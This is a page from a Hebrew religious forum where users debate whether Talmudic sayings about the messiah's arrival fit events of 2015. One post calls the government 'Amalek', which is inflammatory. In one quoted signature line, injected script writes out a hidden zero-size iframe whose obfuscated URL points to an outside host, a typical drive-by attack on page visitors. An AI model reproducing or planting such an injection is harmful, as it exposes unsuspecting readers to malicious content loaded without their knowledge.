בית פורומים עצור כאן חושבים

המציאות בצפון בראי חז''ל שמתאים לימינו

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-2/2/2015 17:49 לינק ישיר 

אייזין

אני חוזר על מה שכבר ענו לך.

יש כמה הנחות שכדאי מאד לבדוק.

א. האם מה שמצאנו בחז"ל חייב להיות. אולי זו השערה שנאמרה לגבי זמן מסויים?

ב. איך אנו יכולים להבין בדיוק מה אמרו חז"ל? לעתים אין כמעט קושי אבל לפעמים הדברים נאמרים עבור הקשר היסטורי שפרטיו אינם בידינו. כל מה שאנו יכולים לעשות הוא לנחש.

ג. כפי שכבר כתבו לך כמה פעמים, ואני מצטרף: ניתן להתאים בין כל טקסט שאמור לספק "נבואה" לבין כל מציאות, כמעט.

זה נכון לגבי ההורוסקופים בעיתון (שאמורים להיות לכל הנולדים באותו חודש, וזה כמובן מופרך) וזה נכון גם לגבי אמירות מהסוג שהבאת.

לפיכך, אני ממש לא הייתי ממליץ לעסוק בשאלות מהסוג שהעלית באשכול. אם ה' ירצה לשלוח לנו משיח בדרך נס הסותר את כללי הטבע, ובלי ייסורים וצרות, מה טוב ומה נעים. כולנו נשמח.

אולם איני סבור שיש מצוה להאמין שכך ה' יעשה. להזכירך, כבר היה מחכמינו שאמר כי "ייתי ולא אחמיניהו" = יבוא ולא אראנו (=עדיף לי למות קודם ויבוא אחרי מותי). זאת מחמת החשש מפני מלחמות נוראות שיהיו באותו הזמן.

אולי עדיף להתפלל על פחות: שייתמו המלחמות והאיומים בלא ייסורים?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/2/2015 05:05 לינק ישיר 

עוד שני סימנים לגאולה הקרובה


אמנם אף על פי שהבטחתי שלא אגלה סודות, מכל מקום אני מוכרח לגלות סוד אחד מפני שכבר גילה אותו ר' יצחק חבר זצ"ל, תלמידו של ר' חיים וואלזי'נער, זצ"ל ששמעו איש מפי איש עד זקני הגר"א זיע"א שגילה סוד זה סמוך להסתלקותו - וכה אמר: 'כאשר תשמעו שהרוסיים כבשו את העיר 'קְרִים' אז תדעו שמתחיל כבר פעמי הגאולה, וכאשר תשמעו שהרוסיים הגיעו לעיר קונסטנטינופול (הלא היא איסטנבול שבטורקיה כיום הזה) אז כבר תלבשו בגדי שבת ואל תפשטו אותם כיון שבכל רגע המשיח עומד לבוא.

1)   "והנה בשבוע האחרון הרוסים כבשו את העיר קֶרִים ובכל העולם ישנו רעש גדול סביב לזה, ולפי המסורת שיש בידינו מהגר"א, הרי זהו סימן ל'פעמי משיח'. והן אמת שאין אנחנו יודעים בדיוק מהו הכוונה 'פעמי משיח' אבל וודאי שזהו סימן לגאולה הקרובה, ואפשר שכוונתו שזהו כמו 'פעמון' שמעורר אותנו להתכונן לביאת המשיח.

2)   והנה ההקדמה לביאת המשיח הוא מלחמת עמלק, ובזמנינו אנו נמצאים כבר בעיצומה של מלחמת עמלק, שהממשלה כאן הם עמלק ממש, שרודפים את הדת ורוצים לעקור לגמרי כל מה שיש בו זכר של דת, ומצאו להם כאן כמה עמלקים שהתלבשו בכסות דתיים... לסייע להם, ואנו כעת במצב של הקדמה לביאת המשיח".




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/2/2015 07:21 לינק ישיר 

נישטאיך

איקון ירוק.

אבל הדף נעלם! זו בעיה בדפדפני או שהם הורידו אותו בגלל הציטוט שלך?

מי בעל הדברים? (אני מקוה שאין לשון הרע בחשיפת האומר). נראה שהוא הולך בשיטת אייזין, לחפש סימנים.

צריך לזכור שעיסוק בשאלה "מתי יבוא המשיח" ו"איך זה ייראה" יש בו לחיוב ולשלילה. החיוב הוא שזה נותן תקוה בימים קשים. עכשו אולי לא טוב, אבל עוד מעט יהיה טוב מאד.

השלילי הוא כמובן שזה עיסוק חסר שחר, לדעתי כמובן, שמסיח את הדעת מן הדברים החשובים באמת שצריך לעשות ואיתם צריך להתמודד.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/2/2015 10:35 לינק ישיר 

ושכחתם את המדרש המפורסם: א"ר יצחק שנה שמלך המשיח נגלה בו כל מלכי אומות העולם מתגרים זה בזה, מלך פרס מתגרה במלך ערבי, והולך מלך ערבי לארם (רומא) ליטול עצה מהם, וחוזר מלך פרס ומחריב את כל העולם, וכל אומות העולם מתרעשים ומתבהלים ונופלים על פניהם ויאחוז אותם צירים כצירי יולדה, וישראל מתרעשים ומתבהלים ואומר להיכן נבוא ונלך, להיכן נבוא ונלך, ואומר להם בני אל תתיראו, כל מה שעשיתי לא עשיתי אלא בשבילכם. מפני מה אתם מתיראים? אל תיראו הגיע זמן גאולתכם(ילקו"ש ישעיה ס,תצט)



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/2/2015 11:55 לינק ישיר 

רומנטיקה היא ראית המציאות על פי רגשותיו, חוויותיו והמית ליבו של המתבונן בה. כאשר התשוקה הרומנטית גולשת מעל המידה הראויה היא הופכת למסוכנת מאד, משום שהמציאות אינה מכירה בה ואינה מתאימה עצמה על פי התשוקה הזו. קורה לעיתים שחברה או מדינה שלמה נתפסת בתשוקה רומנטית חריפה המתבטאת באלימות ושפיכת דם. בהתנגשות גוברת לבסוף המציאות.

יש שאינם מסוגלים לשלוט בתשוקה הרומנטית שלהם, והם מלאי כעס כלפי המבקשים להציג ראיה אחרת, מחשבה והסבר אחרים. העימות אינו בין מחשבות שונות אלא עם תשוקות רומנטיות שאינן מוכנות לשיחה של טעם. כך קרה גם בשיחה זו ומכאן חשיבותה. צריך שהקוראים יעמדו על הפן הזה. כאן מדובר בשיח חברים. כאשר התופעה מתקיימת בחברה הגדולה, במדינה, אבוי לחברה, אבוי למדינה.

דבריו של אריאל הם מופת של תבונה מאוזנת היטב: 'נס גדול עשה הקב'ה והוא שכל דור ודור יהא האחרון לפני ביאת המשיח'. אותו רגע הוא אידאה גדולה שהאדם משתוקק למימושה וצריך לכוון אליה, להיות נכון לה במעשה מוסרי. אבל לעולם תפקידה של אידאה להיות גורם מכוון ולא גורם ממומש. העולם אינו הופך גן עדן. האיזון מושג מתוך ההכרה כי הדור הנוכחי מוליד את בניו, את הדור הבא, אשר, בבא היום, יהיה הוא בחזקת הדור האחרון.
עודד



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/2/2015 13:45 לינק ישיר 

עודד,

האיליאדה והאודיסיאה לא היו רומנטיקה? התרבויות של אתונה וספרטה לא היו רומנטיות? האם כסנופון לא גיחך על דמותו של סוקרטס האפלטוני דווקא בגלל הרומנטיות שלה? האם הרצון של רומא הקיסרית לשלוט בעולם כולו כפי שמתבטא באיניאדה של וירגיליוס לא היה רומנטי? והאם השאיפה של גדולי הספקנים, מאפיקורוס ועד לנאורים הצרפתים ויום וקאנט, לבסס את ההבנה רק על בינה אנושית, לא היתה מבוססת על רומנטיזציה של המחקר המדעי? אדרבא האם ספרו של ז'ול ורן "מסע אל הירח" לא היה ספר רומנטי? אלא מה? קל לשכוח שאידאלים של אתמול שהצליחו להתממש היו פעם רומנטיקה, והרבה יותר קשה להאמין שאידאלים שטרם התממשו יהיו בעתיד ממומשים. והאם הרצון שכולם יכבדו זה את זה ויקשיבו זה לדעתו של זה, איננו אידאל משיחי?




דדווח על תוכן פוגעני

מחובר
נשלח ב-4/2/2015 01:03 לינק ישיר 

מיימוני כתב:
אייזין

אני חוזר על מה שכבר ענו לך.

יש כמה הנחות שכדאי מאד לבדוק.

א. האם מה שמצאנו בחז"ל חייב להיות. אולי זו השערה שנאמרה לגבי זמן מסויים?

דברי חז''ל אכן מחייבים ולא השערות

ב. איך אנו יכולים להבין בדיוק מה אמרו חז"ל? לעתים אין כמעט קושי אבל לפעמים הדברים נאמרים עבור הקשר היסטורי שפרטיו אינם בידינו. כל מה שאנו יכולים לעשות הוא לנחש.

מה יש לנחש כאשר דבריהם ברורים לגבי זה

ג. כפי שכבר כתבו לך כמה פעמים, ואני מצטרף: ניתן להתאים בין כל טקסט שאמור לספק "נבואה" לבין כל מציאות, כמעט.

זה נכון לגבי ההורוסקופים בעיתון (שאמורים להיות לכל הנולדים באותו חודש, וזה כמובן מופרך) וזה נכון גם לגבי אמירות מהסוג שהבאת.

הכל אפשר ולא מחייב - דברי חז''ל מוכרחים ואמיתיים

לפיכך, אני ממש לא הייתי ממליץ לעסוק בשאלות מהסוג שהעלית באשכול. אם ה' ירצה לשלוח לנו משיח בדרך נס הסותר את כללי הטבע, ובלי ייסורים וצרות, מה טוב ומה נעים. כולנו נשמח.

אולם איני סבור שיש מצוה להאמין שכך ה' יעשה. להזכירך, כבר היה מחכמינו שאמר כי "ייתי ולא אחמיניהו" = יבוא ולא אראנו (=עדיף לי למות קודם ויבוא אחרי מותי). זאת מחמת החשש מפני מלחמות נוראות שיהיו באותו הזמן.

אכן ברכות ליבם לא יכלו לראות את חבלי המשיח שיהיו

אולי עדיף להתפלל על פחות: שייתמו המלחמות והאיומים בלא ייסורים?

להתפלל תמיד טוב

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/2/2015 17:41 לינק ישיר 

משלי כ"ז כ"ב.



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/2/2015 08:09 לינק ישיר 

אייזין

ניתן אם כך לסכם שיש בינינו אי הסכמה אודות דברי חז"ל. כפי שהיטבת לכתוב:

לגבי העתיד לבוא במה שמכנים "ימות המשיח" לדעתי דברי חז"ל הם השערות בלבד, שאמנם מתבססות על פרשנותם לפסוקים, על הכרתם את המציאות בזמנם (שאינה מוכרת לנו מספיק) ועל מה שהם חושבים ל"ראוי" כלומר סברה.

לדבריך

דברי חז''ל אכן מחייבים ולא השערות

לדברי, ככתוב כאן, חז"ל אמרו משפטים קצרים ולכן לא ברור ההקשר הכללי. גם כאשר הנביא כותב "מצפון תיפתח הרעה" אין אנו יודעים על איזו תקופה הוא מדבר. אבל אתה כותב

מה יש לנחש כאשר דבריהם ברורים לגבי זה

האם אנו משתמשים במילה "ברור" באותו אופן? האם תוכל לתת דוגמא למשהו "ברור", חד משמעי ושאין לגביו מחלוקת, בדברי חז"ל בתחום הזה?

אני עדיין מציע לך לבדוק את הנחות היסוד שלך כיצד לגשת לדברים אלו של חז"ל. זה חשוב מאד להאמין שהם אמרו כל מה שאמרו מתוך חכמתם, אמונתם, יושר לבבם, וכל מעלותיהם. אבל - צריך לדעת על אלו מדבריהם אנו מדברים.

התלמוד מכיל אמירות ממספר סוגים:

א. קביעות מציאותיות.

ב. דרשות של פסוקים.

ג. מסורות הלכתיות.

ד. מחלוקות בהלכה.

ה. עצות לחיי המעשה.

ו. השערות לגבי העתיד.

והנה אנו מוצאים שאפילו בתחום הדרשה וההלכה יש מחלוקות. ואמנם אלו ואלו דברי אלוקים חיים באשר כל צד משקף פן מסויים שבו ראוי להתנהג, וצריך להכריע מהו הפן שיישאר להלכה.

אבל כאשר מדובר בקביעות לגבי המציאות, האם דברי חז"ל מחייבים? האם חז"ל יכולים לקבוע כיצד המציאות תתנהג, או שהם מנסים להבין מה הם חוקי הבריאה, ואז יתכן שלפי הידע של זמנם ומוגבלותיו, הם יטעו?

צא וראה כיצד הגמרא בחולין מספרת על אחד האמוראים שטעה בהכרת הפיזיולוגיה של העוף כיון שכנראה לא אכל עופות. הרי לפנינו שרבותינו חיפשו את האמת, אבל לפעמים יכלו לטעות. (איני בא לזלזל חלילה שהרי אין לנו אלא חכמינו אלא להזהיר שצריך ללמוד את דבריהם בחכמה ולא כמדקלם ולא כהצהרת אמונה שלא יכול להיות אחרת).

ואם חז"ל אמרו מה שאמרו בתור השערה לגבי העתיד, האם התכוונו להביע השערה שכך ראוי להיות או שכתבו שכך חייב להיות? האם ה' משנה את המציאות כדי שתתאים לדברי חז"ל? האם חז"ל התכוונו לתבוע שה' יקבע את המציאות לפי דרשותיהם?

***
אשר26

ברוך הבא לפורום! (כמדומה שאתה חדש, ואם לא, אז ברוך השב!)

אכן אין מה לכתוש את מי שדעותיו שונות משלי. אין שינוי דעות מחמת כתישה. ובכלל, כל אדם שסבור אחרת ממני עלול להראות לי כאויל.

מה שכן אפשר לעשות הוא לנהל דיון, להבהיר מה אנו חושבים ועל סמך מה, והבוחר יבחר.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/2/2015 10:18 לינק ישיר 

למעשה, מהחז"ל שהביא אייזין מוכח שהמשיח לא עומד לבוא בשבע השנים הקרובות.
אם כן, אם נרצה להאמין שהוא יגיע יהיה עלינו להאמין כמיימוני ולא כאייזין.



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/2/2015 22:14 לינק ישיר 

אריאל

אני מבין שכוונתך שהמשיח בא רק בהיסח הדעת, אז אם מצפים לו הוא לא יבוא.

לפני שכתבת את הודעתך, אפשר היה לחשוב כמו אייזין שהוא בדרך. ואז הוא לבטח לא יבוא. בהתאם לכלל הקודם.

לאחר הודעתך, ברור שהוא לא יבוא, אז הוא כבר כן יכול לבוא...

לאחר הודעתי, כנראה קלקלתי עוד פעם...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/2/2015 22:30 לינק ישיר 

רבינו, לא התכוונתי לזה אלא שאף סימן מהסימנים שמונים חז"ל לגבי שבוע שבן דוד בא בו לא התקיים. פרט למלחמות בשביעית - וגם המלחמות התבררו בינתים כאירוע זעיר שדמיונו למלחמה כדמיון השלולית לאוקיינוס. מכאן עלינו להסיק שהמשיח לא יבוא עד מוצאי שביעית הבאה.
להלן לשון הברייתא: שבוע שבן דוד בא בו שנה ראשונה מתקיים מקרא זה (עמוס ד, ז) והמטרתי על עיר אחת ועל עיר אחת לא אמטיר שניה חיצי רעב משתלחים שלישית רעב גדול ומתים אנשים ונשים וטף חסידים ואנשי מעשה ותורה משתכחת מלומדיה ברביעית שובע ואינו שובע בחמישית שובע גדול ואוכלין ושותין ושמחין ותורה חוזרת ללומדיה בששית קולות בשביעית מלחמות במוצאי שביעית בן דוד בא.
אמר רב יוסף הא כמה שביעית דהוה כן ולא אתא אמר אביי בששית קולות בשביעית מלחמות מי הוה ועוד כסדרן מי הוה
(סנהדרין צז.)



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/2/2015 23:34 לינק ישיר 

אייזן. לא הבאת משום מה את כל הגמרא ההיא בסוטה, כתוב שם מה יהיה בשנה ראשונה שנייה שלישית וכו' וזה לא בדיוק מתאים, אגב אם תבדקו תראו שבכל דור אמרו שזה עקבתא דמשחא, ראו ספר משיחי השקר ומתנגדיהם



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/2/2015 15:15 לינק ישיר 

אריאל

סליחה. אבל מה שכתבתי גם כן לא רע...

היה פעם אשכול על לוגיקה וזה מתאים עבורו.

פרדוקס המשיח של אריאל ומיימוני.



דדווח על תוכן פוגעני

מנותק
נשלח ב-7/2/2015 18:18 לינק ישיר 

932woland כתב:
אותו רגע הוא אידאה גדולה שהאדם משתוקק למימושה וצריך לכוון אליה, להיות נכון לה במעשה מוסרי. אבל לעולם תפקידה של אידאה להיות גורם מכוון ולא גורם ממומש. העולם אינו הופך גן עדן. האיזון מושג מתוך ההכרה כי הדור הנוכחי מוליד את בניו, את הדור הבא, אשר, בבא היום, יהיה הוא בחזקת הדור האחרון.
עודד


אמר הרומנטיקן שמאמין שרק השקפת העולם פרי האינטואיציה הסובייקטיבית שלו וחוייות חייו היא האמת הצרופה
את כל הבלה בלה של גורם מכוון ולא ממומש אמרו גם על השיבה לציון, ואופס, זה כן קרה



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > המציאות בצפון בראי חז''ל שמתאים לימינו
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 5 6 לדף הבא סך הכל 6 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.